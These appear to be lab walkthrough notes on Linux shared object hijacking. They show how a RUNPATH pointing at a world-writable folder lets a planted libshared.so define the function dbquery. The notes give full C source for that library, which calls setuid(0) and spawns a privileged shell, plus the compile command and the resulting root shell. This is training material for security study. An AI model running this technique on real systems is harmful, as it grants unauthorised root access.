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# Shared Object Hijacking

Use ldd to print the shared object required by a binary or shared object.

```bash
htb-student@NIX02:~$ ldd payroll

linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
```

We can see a non-standard library named `libshared.so` listed as a dependency for the binary.

it is possible to load shared libraries from custom locations. One such setting is the `RUNPATH` configuration. Libraries in this folder are given preference over other folders. This can be inspected using the [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html) utility.

```bash
htb-student@NIX02:~$ readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]
```

`/development` folder is writable by all users then we need to find the function name called by the binary causing an error.

```bash
htb-student@NIX02:~$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
htb-student@NIX02:~$ ./payroll 
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
```

Doing that we are able to get the vulnerable function. **dbquery** is the vulnerable function.

**Exploit**

```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    printf("Malicious library loaded\\n");
    setuid(0);
    system("/bin/sh -p");
}
```

```bash
htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.so
htb-student@NIX02:~$ ./payroll 

***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)
```


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